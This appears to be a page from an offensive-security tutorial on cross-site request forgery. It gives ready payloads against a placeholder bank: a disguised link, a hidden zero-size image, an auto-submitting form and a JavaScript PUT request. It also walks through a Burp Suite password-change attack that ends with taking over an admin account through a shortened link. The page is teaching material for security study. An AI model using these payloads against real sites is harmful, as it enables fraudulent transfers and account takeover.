CSRF: Croos-Site Request Forgery

CSRF is a vulnerability where a third-party web application is able to perform an action on the user's behalf. It is behalf on the fact that web applications can send requests to other web applications, without showing the response. Let us have a look at a typical example.

All request to a web application that do not implement an anti-CSRF mechanism are automatically vulnerable.

- GET Scenario

If the application was designed to primarily use GET requests to transfer parameters and execute actions,anr operation might be reduced to a request like:

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

Then, the parameters could be modified to social engineer a victim.

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>

Or as a 0x0 fake image:

<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">

If this image tag were included in the phishing email, the victim wouldn’t see anything. However, the browser will still submit the request to bank.com without any visual indication that the transfer has taken place.

- POST Scenario

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let’s assume the bank now uses POST and the vulnerable request looks like this:

POST http://bank.com/transfer.do HTTP/1.1
…………………
acct=BOB&amount=100

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

<form action="http://bank.com/transfer.do" method="POST">
 
<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>
 
</form>

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

<body onload="document.forms[0].submit()">

- PUT Scenario

PUT 
http://bank.com/transfer.do HTTP/1.1
……………………
{ "acct":"BOB", "amount":100 }

Such requests can be executed with JavaScript embedded into an exploit page:

<script>
function put() {
var x = new XMLHttpRequest();
x.open("PUT","http://bank.com/transfer.do",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({"acct":"BOB", "amount":100}));
}
</script>
<body onload="put()">

This request will not be executed by modern web browsers thanks to same-origin policy restrictions.

- Password Update CSRF Attack

With BurpSuite we intercept and make a password update petition in the website, then send the petition to the Repeater:

Here we try to change the password with other method (Right click > Change request method), and put another password, for example:

GET /change_pass?password=test&confirm_password=test&submit

Then click on go and then on render and follow redirection to see if we have changed the password.

If there is something that tell us that the password has been updated, we can confirm we have a CSRF.

Now using an URL Shortener we can send the GET URL to the admin or to other user and he will see directly password updated and now we log in with his user and the password we set.

This is quite alerting to the victim but behind it we could create an script to pick up the information we want.

PreviousForms, WebSockets and PostMsgsNextWebSocket Attacks

Last updated